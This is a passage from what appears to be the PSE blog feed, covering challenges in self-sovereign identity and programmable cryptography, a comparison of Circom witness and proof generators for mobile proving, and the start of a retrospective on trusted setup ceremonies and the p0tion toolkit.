validate your personal information, the idea empowers individuals through: - **Protection**: Utilizing advanced cryptographic techniques to protect personal information from unauthorized access or manipulation - **Selective Disclosure**: The ability to selectively disclose or choose exactly what data to share in any given interaction - **Portability**: The ability to move identity credentials across different platforms without losing reputation or data, avoiding vendor lock-in - **Interoperability**: Create and adhere to a unified identity standard that works seamlessly across various systems and jurisdictions We highlight only a few [fundamental properties of SSI](https://ieeexplore.ieee.org/document/8776589) here most relevant to cryptography, but there are many more, each falling into foundational, security, controllability, flexibility, and sustainability categories and further subdivided into defined criteria. In our initial research, we attempted to evaluate stacks based on a standard [framework](https://www.notion.so/Evaluation-Framework-for-SSI-Solutions-8eceb793a5b442cb8da65acc3c337d5c?pvs=21), using these fundamental properties, in addition to [Digital Public Good Alliance’s Criteria](https://www.digitalpublicgoods.net/submission-guide), [Decentralized Identity Foundation’s](https://identity.foundation/) standards, [OpenSource Observer](https://www.opensource.observer/) Github Metrics, and an internal assessment of the cryptographic primitives used. The framework and the result of our research can be found [here](https://www.notion.so/pse-team/2e1e89e5192e409cacbfe3ea115baff4?v=92680356554a42cb981f41edd4a71820). ![](/articles/self-sovereign-identity-programmable-cryptography-challenges-ahead/3wiWgZTDjpVYH-NcanezK.webp) ![](/articles/self-sovereign-identity-programmable-cryptography-challenges-ahead/kDZIiTNGTNAL-uH8qaOF5.webp) The use of digital signatures is prevalent across digital identities, but the use of [programmable cryptography](https://0xparc.org/blog/programmable-cryptography-1) is severely underutilized. Several standard bodies are exploring Zero-Knowledge Proofs (ZKPs) through various working groups including: - [NIST](https://csrc.nist.gov/projects/pec/zkproof) - [W3C](https://www.w3.org/TR/vc-imp-guide/#zero-knowledge-proofs) - [Decentralized Identity Foundation (DIF)](https://identity.foundation/) - [Crypto Forum Research Group (CFRG) of the IETF](https://datatracker.ietf.org/rg/cfrg/documents/) - [zkProof.org](http://zkproof.org/) It is worth mentioning that Verifiable Credential and Verifiable Presentation are [agnostic to proof types](https://www.w3.org/TR/vc-data-model-2.0/#proofs-signatures) and can be secured using both digital signatures and zero-knowledge proofs ![Verifiable Credential Proof Example](/articles/self-sovereign-identity-programmable-cryptography-challenges-ahead/KeEf5rlvIwkRNSMphJKoD.webp) Verifiable Credential Proof Example Most of the work around ZKPs by standard groups is largely academic, but there are several cryptographic mechanisms [currently used](https://arxiv.org/pdf/2401.08196) for selective disclosure of verifiable credentials. We mention the three main ones here. They fall into two general categories, hashed values or selective disclosure signatures. - [BBS+ Signature Scheme](https://identity.foundation/bbs-signature/draft-irtf-cfrg-bbs-signatures.html) (Used by MATTR) - Enables selective disclosure of subsets of signed messages - Not currently compatible with mobile - Does not provide onchain verifiability - [Diffie-Hellman assumption](https://www.youtube.com/watch?v=QISNNmS8tMU) - [CL signatures](https://github.com/hyperledger/anoncreds-clsignatures-rs) (Used by AnonCreds/Hyperledger) - Predates-circom and the use of circuits - Only allows predicated proofs i.e. Proof you are above 18, AND have a driver's license. - Restricted by custom proofs - Requires interaction with identity holder - Computationally intensive - Does not provide onchain verifiability - Relies on RSA - [Merkle Trees](https://docs.iden3.io/) (Used by PrivadoID/Iden3) - Allows onchain verifiability - Capable of client-side proofs - Supports ZK Circuits - SNARK-based -currently not post-quantum The availability of these schemes allows selective disclosure of data within verifiable credentials but as demonstrated, each comes with [unique drawbacks, and attributes](https://arxiv.org/pdf/2401.08196). In addition to the traditional “web2” identity there are also multiple projects working on onchain ZKP-enabled attestations, which can potentially provide unlinkable data structures onchain. The recent advancements in programmable cryptography particularly with ZKPs and MPC, provide potential alternative solutions for more robust SSI infrastructure throughout the entire stack from identifiers, secure communication, credentials, and frameworks. We discuss some of the key challenges to overcome for these technologies to be fully utilized. ## Overview: Key Challenges At Devcon, PSE members convened with identity project leaders and standards organizations to identify critical barriers to SSI adoption. The following section examines each major challenge category, exploring its significance and proposed solutions. We analyze each challenge's fundamental nature, importance to the ecosystem, and the specific technical developments required to address it. 1. Client-side proving & Performance. 2. Recursion and composability 3. Proof of Personhood 4. Post Quantum 5. Unlinkability 6. Usability & UX 7. Governments and Regulation 8. Standards and Interoperability ## Client Side Proving & Performance Client-side proving enables users to generate cryptographic proofs directly on their devices, such as smartphones. It is crucial for digital identity systems because it ensures that sensitive personal information remains completely local, never leaving the device or being exposed to external servers or third-party provers. The table below demonstrates the state of client-side proving with benchmarks provided by [mopro](https://github.com/zkmopro/mopro/blob/main/README.md#performance). ![](/articles/self-sovereign-identity-programmable-cryptography-challenges-ahead/6XqnETQESzvlG0ZRaMrZm.webp) For widespread adoption, the performance of client-side proof generation must become efficient enough to run smoothly on the most common mobile hardware used by the target population, for practicality and accessibility. The development of client-side proving technologies faces these current bottlenecks: - Performance on low-end mobile devices - Reducing computational complexity - Minimizing memory consumption - Lack of published benchmarks and comparisons of proving schemes Offline, client-side verification will be equally important. The ability for mobile device verification in remote areas with a lack of connectivity is a minimum requirement for state or national-level implementation. ## Post Quantum Current identity systems are vulnerable to a Post Quantum (PQ) future for several reasons. Many elliptical curve-based digital signature schemes currently in use, like ECDSA, are not PQ proof. With NIST moving the PQ timeline up to 2030, there is an urgent need to develop quantum-resistant cryptographic primitives. It is widely speculated that entities and organizations are already collecting encrypted data for PQ decryption in the future. With that in mind identity data onchain is not practical until we solve [PQ Ethereum](https://ethresear.ch/t/so-you-wanna-post-quantum-ethereum-transaction-signature/21291).  With quantum computing on the horizon, more research must be done on PQ primitives, signature aggregation techniques, and benchmarking. ## Unlinkability The potential for privacy leaks exist during information query, and retrieval, and by observing public data structures (i.e. DIDs or schemas) on verifiable data registries. Unless all information is stored locally, during an information query you reveal to the server what information was fetched. Malicious parties can also analyze data access patterns to derive information about a user and their data. To fully represent human identity in all its dimensions, there is a fundamental need for the ability to aggregate identity data across different platforms and accumulate it into a body of reputation. Data provenance must be maintained through aggregation and transfer between accounts, whilst preserving unlinkability properties to protect privacy. An example of this is porting all your data between Twitter to Farcaster without losing social reputation. Solutions for data provenance of web data with protocols such as [TLSNotary](https://tlsnotary.org/) are close to production, the next steps are to make these protocols compatible with Verifiable Credentials and [integrated with web browsers](https://brave.com/blog/distefano/). Some other possible explorations include: - [Oblivious RAM](https://www.youtube.com/watch?v=iGfgngtVLr4) (ORAM) - [Private Information Retrieval](https://blintzbase.com/posts/pir-and-fhe-from-scratch/) (PIR) - [Web2 Nullifiers using Verifiable Oblivious Pseudorandom Functions](https://curryrasul.com/blog/web2-nullifiers/) (vOPRF) - Private onchain [trust registries](http://drive.google.com/drive/home) - Research on different types of data structures - Atomic checks of DID-linked resources ## Liveness and Proof of Personhood In an era of increasing digital impersonation, deepfakes, and sophisticated bot networks, proving that an online identity represents a real, unique human becomes critical. Proof of Personhood (PoP) tackles the challenge of gatekeeping anonymous actions such as voting via [MACI.](https://maci.pse.dev/) Biometric authentication whether it be facial recognition, fingerprints, or iris scanning is increasingly becoming more popular. The shift in trust assumptions to hardware components poses a centralization risk. A [study](https://ia601600.us.archive.org/35/items/elopio-papers/2024-compressed_to_0-annotated.pdf) between 2019-2022 showed current methods are susceptible to programmatic gaming. It was found that “bots” can be substituted with human puppeteers. [The](https://ia601600.us.archive.org/35/items/elopio-papers/2024-compressed_to_0-annotated.pdf) research [has shown that individuals can be incentivized to surrender their identity for as little as two dollars, highlighting the urgent need for more robust incentive mechanism](https://ia601600.us.archive.org/35/items/elopio-papers/2024-compressed_to_0-annotated.pdf)ms on a social level. The prevention of manipulation of web of trust systems is required not just for Sybil resistance but also for collusion resistance, particularly when it exists off-chain. Some projects have adopted a tiered approach where points are assigned to different levels of authentication. The use of state-issued RFID-equipped documentation as Proof of Personhood by teams like [Anon Aadhaar](https://github.com/anon-aadhaar/anon-aadhaar), [Openpassport](https://www.openpassport.app/), and [zkPassport](https://zkpassport.id/) are working on client-side verification and supporting signature algorithms used by different states.  Although this is one viable method for PoP, it fails to serve individuals not recognized by any government or state. Another downside of web-of-trust systems is reliance on unique identifiers (nullifiers) to prevent double-spending, there is a non-zero chance that this can be [gamed or manipulated](https://www.youtube.com/watch?v=-mwUQp2qwjk). ## Recursion and Composability [Recursion](https://www.youtube.com/watch?v=VmYpbFxBdtM) is the ability to prove a proof inside a proof. For example: If Bob can prove he knows Vitalik, Alice can prove she knows Bob, and if Joe knows Alice, Joe can prove he is 2 degrees of separation from Vitalik without revealing the intermediary, Bob. Existing frameworks like Circom and Groth16 currently suffer from recursion challenges. Efficient recursion will unlock the ability to not only derive data from proofs but the ability to perform computation over the derived knowledge without exposing it to the proof-generating party.  Creating a composable system that is capable of ingesting different data formats whilst allowing recursion will be a massive unlock for how verifiers and holders interact with credentials. General purpose circuits that can be re-used to prove different types of data means that developers will not have to write custom circuits for each specific piece of identity data. ### **Progcrypto DX** Developer experience is at the intersection of many key challenges. There are two groups of people, researchers writing proving systems, and engineers building with proving systems. Researchers tend to implement program constraints directly in Rust. This allows them to write highly optimized code close to their prover implementations. Examples of this include Halo2 and Stwo. Unfortunately such systems are inaccessible to people unfamiliar with the codebase, and encourage poor design principles. Engineers tend to use abstractions in the form of domain specific languages. By far the most popular language is circom: a 5 year old language with a limited standard library. Other attempts have been made to design languages, but they optimize toward features/abstraction and away from simplicity/runtime agnosticism. This makes them harder to reason about in the context of proofs, harder to adapt to new proving systems, and harder to write alternative compiler implementations. There is significant room for innovation in the expression of cryptographic programs. ## Standards and Interoperability ![https://xkcd.com/927/](/articles/self-sovereign-identity-programmable-cryptography-challenges-ahead/rsacxwKWrnEcRNoLsgDGZ.webp) https://xkcd.com/927/ The current digital identity landscape is largely fragmented: there are over 100 DID methods. Interoperability is not just a technical challenge but a fundamental requirement for creating a truly global, inclusive digital identity ecosystem. Some of these issues include: - **Standardization Gaps** - Lack of technical specifications particularly for ZKP-related schemes - Inconsistent standards between W3C and OpenID - Fragmented Decentralized Identifier (DID) approaches - Lack of Cross-Platform Verification solutions - **Credential Formats** - Existence of many incompatible data formats - Absence of a universal trust registry - Lack of a “unified” identity layer capable of ingesting credential formats for proof generation Although it may be too early to define standards around programmable cryptography, writing initial technical specifications describing protocols, security assumptions, requirements, and verification procedures can serve as a reference and communication tool for all stakeholders. For those interested in contributing, specifications can be added in [this repo](https://github.com/zkspecs/zkspecs?tab=readme-ov-file); see an example specification [here](https://github.com/zkspecs/zkspecs/blob/specs/anon-aadhaar/specs/anon-aadhaar/specs.md). ## Usability and UX User experience in SSI is about more than smooth interfaces – it's about creating systems that feel intuitive and respectful of individual agency by effectively managing consent. Vitalik elaborates on desired wallet functions such as Private Key Management for revocation, recovery and guardianship in this [post.](https://vitalik.eth.limo/general/2024/12/03/wallets.html) The issues of recovery and guardianship are non-trivial when it comes to key rotation. There are solutions currently in development with the use of account abstraction and protocols such as [ZK Email](https://prove.email/) are promising. ## Governments and Regulation Traditional trust systems often rely on centralized government issuers and institutions. The challenge is creating identity systems that are not just technologically robust, but also legally compliant. In complying with [GPDR policies](https://gdpr-info.eu/art-17-gdpr/), in particular the [right to erasure](https://gdpr-info.eu/art-17-gdpr/) we are seeing projects tackle this through less secure, more centralized methods like the use of [validiums](https://ethereum.org/en/developers/docs/scaling/validium/) over other cryptographic primitives available. In particular with the EUID ARF framework, the ambiguity left in the choice of wallet and [Verifiable Data Registry](https://identity.foundation/faq/#what-is-a-verifiable-data-registry) means individual states are at risk of selecting less decentralized options. When it comes to state-wide adoption, the ease of integration with government services and third-party vendors like banks and healthcare providers becomes an important consideration. Recent [studies](https://www.biometricupdate.com/202402/digital-id-can-boost-gdp-of-implementing-countries-up-to-13-uneca#:~:text=%E2%80%9CAnalysis%20of%20digital%20ID%20Systems,under%20the%20theme%20%E2%80%9CBuilding%20Inclusive) indicated that _“individual countries could unlock economic value equivalent to between 3 and 13 percent of GDP in 2030 from implementing digital ID programs”._ Aligning economic incentives and establishing appropriate legal frameworks to enable regulated entities will accelerate adoption. The top-down approach of state-driven SSI adoption may seem like a quick path to adoption, but does pose a centralization risk with credential issuance. Some possible paths of exploration include the use of [MPC](https://mirror.xyz/privacy-scaling-explorations.eth/v_KNOV_NwQwKV0tb81uBS4m-rbs-qJGvCx7WvwP4sDg) for decentralized DID controllers and decentralized issuers. ## Possible Futures The evolution of self-sovereign identity (SSI) could follow several distinct paths, each shaped by different technological and social forces. ### Government-Led SSI Governments, particularly smaller nations, become primary advocates for SSI systems in this scenario. This shift would be driven by: - Recognition of digital identity as critical national infrastructure - A desire to protect citizens from external existential threats - A willingness for sovereign control over identity systems driven by democratic or civic movements - Cross-border identity verification requirements set by international standard bodies like ICAO or EU leading member states change. On a smaller scale, using SSI for micro-economies can serve as a good testing ground for this potential future, like a university campus or local community. ### Absence of Government-Led SSI Governments and established issuers have little incentive to push for SSI infrastructure because they are already the source of trusted issuance. In this scenario, a path towards [self-attestation](https://hackmd.io/@wFJY6cGcRfmvPHiQ5VYP6w/BJjh3X2JJl) seems most probable, where users create their own proofs and self-issue credentials before presenting them to the verifier. The assumption here is that these self-attestations become an acceptable format for verification by third parties without communication with issuers. ### Technology Monopolies Dominate Without proper technological safeguards, major technology companies could consolidate their control over digital identity through: - Extensive data collection and correlation - Widespread third-party integration networks - Single sign-on authentication mechanisms. This is a very present future as it is already evident that technology companies are creating inescapable dependencies. A more distributed approach could emerge through social graph-based identity systems, characterized by: - Localized trust networks - Reputation scoring - Community-based attestation mechanisms While this approach offers enhanced privacy, its effectiveness may be limited to smaller communities, and corrupt actors could compromise trust networks. This is one less probable future as social graphs are localized and fragmented. Protocols like [Openrank](https://docs.openrank.com/) could serve as a peer-to-peer reputation system using [EigenTrust](https://nlp.stanford.edu/pubs/eigentrust.pdf) if capable of being private; the difficulty in implementation will then lie with the nuance in the context of trust between parties.  One high potential use case for social graphs is bootstrapping decentralized issuance, where credentials are issued based on verified reputation using MPC. ### Global Registry There is a need for a global identity registry to provide the largest anonymity set possible. Currently, there is a lack of a credibly neutral onchain registry capable of ensuring authentication across multiple chains. ENS’s future Namechain is a possible solution for a public version of this, with blockspace reserved for identity-specific use cases, and the ability to attach and detach from parent domains and subdomains. This loosely replicates the revocation and persistence characteristics needed for onchain identity attestation. PSE is currently [exploring](https://curryrasul.com/blog/web2-nullifiers/) possible solutions using vORPF to generate nullifiers for Web2 identities to serve as a global registry. Rarimo is also currently working on a [zk registry.](https://docs.rarimo.com/zk-registry/) As of now, only DID and schemas are posted onchain. Identity data onchain is not a practical path forward until we shift to the use of post-quantum primitives.  Identity data is not currently safe onchain as entities may already collect encrypted data for decryption in a PQ future.  Supposing we solve PQ and unlinkable data structures, there lies a possible future for identity data to exist on a data availability layer, enabling the properties of persistence and access. ## Conclusion Human identity is multifaceted and composed of many dimensions in real life. Replicating similar data structures in digital form is equally, if not more complex. The way we preserve privacy for human identity can essentially be deconstructed to how we interact with data itself, a matter prevalent beyond digital identity. Some tangible actions the applied cryptography community can do are: 1. Write technical specifications 2. Publish Performance benchmarks 3. Research private data structures for trust registries 4. Optimize existing tools for client-side proving and improve performance and memory usage 5. Educate Governments and institutions on the availability of cryptography primitives to support their goals 6. Establish cross-industry working groups for standardization and greater collaboration We hope participants found the workshop and roundtable as insightful and engaging as we did! If you’re interested in joining future events or exploring opportunities to collaborate, we’d love to hear from you—feel free to [reach out!](https://discord.com/channels/943612659163602974/955585525081837628) ]]> self-sovereign identity ssi privacy cryptography zero-knowledge proofs verifiable credentials digital identity identity standards ethereum <![CDATA[Mopro: Comparison of Circom Provers]]> https://pse.dev/blog/mopro-comparison-of-circom-provers https://pse.dev/blog/mopro-comparison-of-circom-provers Tue, 21 Jan 2025 00:00:00 GMT <![CDATA[This post was written by [Vivian Jeng](https://mirror.xyz/privacy-scaling-explorations.eth/GLbuCflH0hu_DncKxiC2No5w3LZJAGw4QaCB-HYD5e0), a developer on the Mopro team.]]> <![CDATA[ [Mopro](https://github.com/zkmopro/mopro) is a toolkit designed to make mobile proving simple and efficient. With the growing dominance of mobile app users over web app users, and the observation that `snarkjs` is less performant compared to native provers like `rapidsnark`, we recognized the need to optimize proving speed for mobile devices. To address this, one of Mopro's primary goals is to evaluate various provers across different platforms to identify the most effective solution, ensuring we focus on the best-performing prover for mobile environments. ## Introduction Throughout 2024, we compared various Groth16 provers for Circom. Our goal was to demonstrate that native provers (written in C++ or Rust) outperform `snarkjs` in terms of speed. Along the way, we uncovered some fascinating insights, which we’re excited to share with you in this post. To understand a Groth16 prover, let’s break it down into two main components: **witness generation** and **proof generation**. **Witness Generation:** This step involves processing inputs along with witness calculation functions to produce the necessary witness values for a circuit. It's a purely computational step and does not involve any zero-knowledge properties. **Proof Generation:** Once the witness is generated, this step takes the witness and the zkey (generated by `snarkjs`) to compute the polynomial commitments and produce a succinct zero-knowledge proof. Ideally, developers should have the flexibility to switch between different witness generation and proof generation implementations. This would allow them to leverage the fastest options available, optimizing performance and enhancing their development experience. However, each of these tools presents unique challenges. In the following sections, we will delve into these challenges in detail and provide a comparison table for clarity. ## Witness Generation ### `snarkjs` - [https://github.com/iden3/snarkjs](https://github.com/iden3/snarkjs) `snarkjs` is one of the most widely used tools for generating Groth16 proofs and witnesses. Written in JavaScript, it runs seamlessly across various environments, including browsers on both desktops and mobile devices. However, it faces performance challenges with large circuits. For instance, an RSA circuit can take around 15 seconds to process, while a more complex circuit like zk-email may require up to a minute to generate a proof. This highlights the need for optimized solutions, such as leveraging mobile-native capabilities and even mobile GPUs, to significantly enhance performance. ### `witnesscalc` - [https://github.com/0xPolygonID/witnesscalc](https://github.com/0xPolygonID/witnesscalc) `witnesscalc` is a lightweight, C++-based tool designed for efficient witness generation for circuits compiled with Circom. It offers a faster alternative to JavaScript-based tools like `snarkjs`. With cross-platform support and compatibility with other ZKP tools, Witnesscalc is ideal for handling performance-sensitive applications and large circuits. While Witnesscalc performs exceptionally well with circuits such as RSA, Anon Aadhaar, Open Passport, and zkEmail, integrating it into Mopro presents challenges due to its C++ implementation, whereas Mopro is built on Rust. We are actively working to bridge this gap to leverage its performance benefits within the mobile proving ecosystem. ### `wasmer` - [https://github.com/arkworks-rs/circom-compat](https://github.com/arkworks-rs/circom-compat) One option available in Rust is `circom-compat`, maintained by the Arkworks team. This library uses the `.wasm` file generated by Circom and relies on the Rust crate `wasmer` to execute the witness generation. However, wasmer doesn’t run natively on devices—it creates a WebAssembly execution environment for the `.wasm` file. As a result, the performance of wasmer is comparable to the WebAssembly performance of `snarkjs` running in a browser. Initially, we encountered memory issues with wasmer during implementation ([issue #1](https://github.com/zkmopro/mopro/issues/1)). Later, we discovered that the Apple App Store does not support any wasmer functions or frameworks, making it impossible to publish apps using this solution on the App Store or TestFlight ([issue #107](https://github.com/zkmopro/mopro/issues/107)). As a result, we decided to abandon this approach for Mopro. ### `circom-witness-rs` - [https://github.com/philsippl/circom-witness-rs](https://github.com/philsippl/circom-witness-rs) Another Rust-based option is `circom-witness-rs`, developed by the Worldcoin team. Unlike solutions that rely on WebAssembly (wasm) output from the Circom compiler, this tool directly utilizes `.cpp` and `.dat` files generated by Circom. It employs the `cxx` crate to execute functions within the `.cpp` files, enhanced with optimizations such as dead code elimination. This approach has demonstrated excellent performance, particularly with Semaphore circuits. However, we discovered that it encounters compatibility issues with certain circuits, such as RSA, limiting its applicability for broader use cases. ### `circom-witnesscalc` - [https://github.com/iden3/circom-witnesscalc](https://github.com/iden3/circom-witnesscalc) The team at iden3 took over this project and began maintaining it under the name `circom-witnesscalc`. While it heavily draws inspiration from `circom-witness-rs`, it inherits the same limitation—it does not support RSA circuits. For more details, refer to the "Unimplemented Features" section in the [README](https://github.com/iden3/circom-witnesscalc?tab=readme-ov-file#unimplemented-features). ### `rust-witness` - [https://github.com/chancehudson/rust-witness](https://github.com/chancehudson/rust-witness) Currently, Mopro utilizes a tool called `rust-witness`, developed by a member of the Mopro team. This tool leverages `w2c2` to translate WebAssembly (`.wasm`) files into portable C code. By transpiling `.wasm` files from Circom into C binaries, rust-witness has demonstrated compatibility across all circuits and platforms tested so far, including desktop, iOS, and Android. Additionally, its performance has shown to be slightly better than that of wasmer. ## Proof Generation ### `snarkjs` - [https://github.com/iden3/snarkjs](https://github.com/iden3/snarkjs) As mentioned earlier, `snarkjs` is the most commonly used tool for generating Groth16 proofs. However, its performance still has room for improvement. ### `rapidsnark` - [https://github.com/iden3/rapidsnark](https://github.com/iden3/rapidsnark) Rapidsnark, developed by the iden3 team, is an alternative to `snarkjs` designed to deliver faster Groth16 proof generation. Similar to `witnesscalc`, it is written in C++. While it shows promising performance, we are still working on integrating it into Mopro. ### `ark-works` - [https://github.com/arkworks-rs/circom-compat](https://github.com/arkworks-rs/circom-compat) The primary Rust-based option is `circom-compat`, maintained by the Arkworks team. Arkworks is a Rust ecosystem designed for programmable cryptography, deliberately avoiding dependencies on native libraries like `gmp`. In our experiments, Arkworks has proven to work seamlessly with all circuits and platforms. If you have Rust installed, you can easily execute Groth16 proving using Arkworks without any issues. As a result, Mopro has adopted this approach to generate proofs for cross-platform applications. ## Comparison Table Here, we present a table comparing different witness generators and proof generators to provide a clearer understanding of their features and performance. In this comparison, we use `circom-witnesscalc` as a representative for both `circom-witness-rs` and `circom-witnesscalc`, as they share fundamentally similar implementations and characteristics. ![Comparison of witness generators](/articles/mopro-comparison-of-circom-provers/QQlHHr5UHsiYu4QrJLsAZ.webp) Comparison of witness generators ![Comparison of proof generators](/articles/mopro-comparison-of-circom-provers/UkNa-hAgUN5E7GAOjFbGE.webp) Comparison of proof generators ## Conclusion In conclusion, we found that the `witnesscalc` and `rapidsnark` stack offers the best performance, but integrating it into Rust presents significant challenges. These tools rely heavily on C++ and native dependencies like `gmp`, `cmake`, and `nasm`. Our goal is to integrate these tools into Rust to make them more accessible for application development. Similar to how `snarkjs` seamlessly integrates into JavaScript projects like Semaphore and ZuPass, having a Rust-compatible stack would simplify building cross-platform applications. Providing only an executable limits flexibility and usability for developers. In 2025, we are prioritizing efforts to enable seamless integration of these tools into Rust or to provide templates for customized circuits. We recognize the difficulty in choosing the right tools and are committed to supporting developers in this journey. If you need assistance, feel free to reach out to the Mopro team on Telegram: [@zkmopro](https://t.me/zkmopro). 1. We are actively working on integrating `witnesscalc` into Mopro. Please refer to [issue #284](https://github.com/zkmopro/mopro/issues/284) [↩](https://doc-compare-circom.mopro.pages.dev/blog/circom-comparison/#user-content-fnref-1-ca0b0e) 2. Please refer to [PR #255](https://github.com/zkmopro/mopro/pull/255) to see how to use `circom-witnesscalc` with Mopro. [↩](https://doc-compare-circom.mopro.pages.dev/blog/circom-comparison/#user-content-fnref-2-ca0b0e) 3. [waku-org](https://github.com/waku-org) has investigated this approach; however, it does not outperform snarkjs in terms of performance. Please refer to [this comment](https://github.com/zkmopro/mopro/issues/202#issuecomment-2236923108) for more details. [↩](https://doc-compare-circom.mopro.pages.dev/blog/circom-comparison/#user-content-fnref-3-ca0b0e) 4. We are actively working on integrating `rapidsnark` into Mopro. Please refer to [issue #285](https://github.com/zkmopro/mopro/issues/285) [↩](https://doc-compare-circom.mopro.pages.dev/blog/circom-comparison/#user-content-fnref-4-ca0b0e) ]]> mopro circom zero-knowledge proofs witness generation proof generation snarkjs rapidsnark mobile performance toolkits <![CDATA[Retrospective: Trusted Setups and P0tion Project]]> https://pse.dev/blog/retrospective-trusted-setups-and-p0tion-project https://pse.dev/blog/retrospective-trusted-setups-and-p0tion-project Wed, 15 Jan 2025 00:00:00 GMT <![CDATA[This post was written by the PSE Trusted Setup Team.]]> <![CDATA[ ## Chronological look back ### **Early Stages and Foundation** PSE's Trusted Setups team began two years ago with a focus on understanding and implementing trusted setup ceremonies, which are crucial in generating secure cryptographic keys for production-ready zkSNARKs circuits. The team was formed to continue work on ongoing projects as well as starting to work on new initiatives. In a trusted setup ceremony, multiple participants collaborate to compute the cryptographic parameters for the circuit, each contributing their own entropy - some [secret](https://www.youtube.com/watch?v=I4cDAqeEmpU), [randomly](https://web.archive.org/web/20230501054531/https:/proofof.cat/) [generated](https://web.archive.org/web/20230504180930/https:/hackmd.io/axUX8pFUQD-yCiBzQEDrYQ?view) [value](https://www.vice.com/en/article/power-tau-zcash-radioactive-toxic-waste/) - that is [destroyed](https://x.com/saint_rat/status/1647601259724275713) after the computation is complete. As long as at least one participant runs the computation securely and properly disposes of their "toxic waste", the setup is secure. Historically, trusted setups have been difficult and time-consuming, requiring teams to implement infrastructure and coordinate participation for each new zkSNARK, often across two separate phases. The time, resources and technical expertise required to run a trusted setup ceremony placed a big burden on teams working on zero knowledge protocols - [this podcast](https://radiolab.org/podcast/ceremony) famously documents the elaborate precautions taken to secure Zcash's 2016 trusted setup ceremony. Our team identified a need for accessible and replicable tools that would help teams run trusted setups with less overhead. We quickly developed expertise in this niche but critical area, laying the groundwork for innovative tools to make trusted setups easier and more efficient. ### **Perpetual Powers of Tau** In a two-phase trusted setup, the second phase is circuit-specific; but the first phase can be used by any number of projects as long as they trust that it's secure. Our team took on the challenge of implementing a Phase 1 ceremony that could be trusted by anyone who might want to build on it. Since a setup is secure as long as any one participant has behaved honestly, that meant creating a ceremony that could stay open indefinitely and accept any number of contributions. This way, anyone who wanted to build on the setup but wasn't confident in its integrity could ensure it was secure for their project by simply making their own contribution. The result was the [Perpetual Powers of Tau ceremony](https://github.com/privacy-scaling-explorations/perpetualpowersoftau), focusing on producing phase-1 files crucial for all zkSNARKs. This ongoing ceremony has been running since 2019, with 85 contributors to date. Contributing to PPoT involves managing complex 100GB files, which requires contributors to have enough technical knowledge to spin up a server large enough to compute the contribution. It also requires the contributor to know how to install the right tools, download the files and upload the files after they finished their contribution. ![From PPoT announcement post by Wei Jie Koh https://medium.com/coinmonks/announcing-the-perpetual-powers-of-tau-ceremony-to-benefit-all-zk-snark-projects-c3da86af8377](/articles/retrospective-trusted-setups-and-p0tion-project/zciGzID2rP9dzeGIART7u.webp) From PPoT announcement post by Wei Jie Koh https://medium.com/coinmonks/announcing-the-perpetual-powers-of-tau-ceremony-to-benefit-all-zk-snark-projects-c3da86af8377 Since Perpetual Powers of Tau began, the team has successfully coordinated, prepared and published a range of Phase 1 output files for use in Phase 2 ceremonies depending on their number of constraints, demonstrating long-term commitment to this critical infrastructure. ### **KZG Ceremony** A pivotal moment for the project was the implementation of the [KZG Ceremony](https://blog.ethereum.org/2024/01/23/kzg-wrap), essential for [EIP 4844](https://eips.ethereum.org/EIPS/eip-4844) (Proto-Danksharding). This Ethereum core upgrade aimed to reduce gas prices by creating a separate market for data storage, benefiting layer 2 protocols. We developed a [user-friendly web application](https://ceremony.ethereum.org/) to invite broad community participation, with a user-friendly process that guided contributors through the ceremony step by step, automating and abstracting away the complex operations of computation and toxic waste disposal. PSE's design team created a beautiful user interface that made participating in the ceremony feel more like a sacred ritual than collective math. ![ceremony.ethereum.org landing page at the time the ceremony was active](/articles/retrospective-trusted-setups-and-p0tion-project/01yqkaXXNPa8RfDHylN4M.webp) ceremony.ethereum.org landing page at the time the ceremony was active The ceremony was a resounding success, achieving an impressive 141,416 contributors worldwide. The [codebase](https://github.com/zkparty/trusted-setup-frontend) has been forked 66 times and garnered 229 stars on Github, indicating strong community interest and potential for reuse. ### **p0tion** In response to internal needs, the team took on the development of [p0tion](https://github.com/privacy-scaling-explorations/p0tion), a toolkit for deploying and running trusted setup ceremonies. Whereas the KZG implementation was designed for a very specific use, p0tion is intended to be more generalized and adaptable to the needs of many different projects. The p0tion toolkit utilizes a mix of cloud functions and virtual machines for efficiency in running secure Groth16 zk-applications via automated Phase 2 ceremonies. We focused on streamlining the process of executing a trusted setup, as well as creating a [unified interface](https://ceremony.pse.dev/) for ceremonies implemented with p0tion. ![Trusted setup for ZKEmail circuits on ceremony.pse.dev](/articles/retrospective-trusted-setups-and-p0tion-project/5cWrHa_ezgv98uSrlyspq.webp) Trusted setup for ZKEmail circuits on ceremony.pse.dev The team later adapted the toolkit into a stand-alone tool with minimal infrastructure requirements, making it more accessible and easier to deploy on external servers. ## Successes ### Technical Achievements The team developed some of PSE's most utilized public good tools, including p0tion for trusted setup ceremonies. They created a user-friendly KZG Ceremony interface attracting 140,000 participants and successfully conducted ceremonies for Groth16 PSE projects and external initiatives. The manual execution of Perpetual Powers of Tau demonstrated their capability in coordinating, verifying and backing up large files. ### Community Engagement and Impact Widespread participation in the KZG Ceremony enhanced Ethereum's security and fostered community involvement. The project contributed significantly to the growth and security of the Ethereum ecosystem, benefiting deployed dapps and zkApps. Providing valuable generalized tools as public goods extended the project's influence across the crypto community. To date, p0tion has been used in [over 15 internal and external ceremonies](https://ceremony.pse.dev/). The #🧪-p0tion channel in the [PSE public Discord](https://discord.com/invite/yujxyBdCfM) has been a great tool for the community to participate in the ceremonies and help us debug code issues. ### Knowledge Sharing and Collaboration The team collaborated effectively with Ethereum core developers and external team members from various projects. They shared experiences through talks and workshops at events like Devconnect, positioning themselves as a valuable resource in the crypto community. Some of the talks are: - [https://www.youtube.com/watch?v=Z2jR75njZKc](https://www.youtube.com/watch?v=Z2jR75njZKc) - [https://www.youtube.com/watch?v=SnLDI8PLyDc](https://www.youtube.com/watch?v=SnLDI8PLyDc) - [https://www.youtube.com/watch?v=ZIfNk7DIQy4](https://www.youtube.com/watch?v=ZIfNk7DIQy4) - [https://www.youtube.com/watch?v=U1Lh2fMcto8](https://www.youtube.com/watch?v=U1Lh2fMcto8) ## Challenges & Lessons Learned ### Project Management A critical insight from this project was recognizing the pitfall of assuming that a small team (in our case, just two people) doesn't require formal project management methodologies or structured communication processes. We fell into the trap of believing that with such a small team, informal, ad-hoc discussions would suffice for planning, coordination, and staying aligned. This led to loose processes, inadequate planning, unclear task ownership, sometimes duplicate work and ultimately, poor organization. **For future projects, regardless of team size, we recommend implementing structured project management and communication approaches. Even for small teams, (light) sprint planning, regular stand-ups, and clearly defined goals and milestones are crucial.** ### Development Process The team worked on different projects and solutions. Each one of them presented a different set of challenges and opportunities to learn: 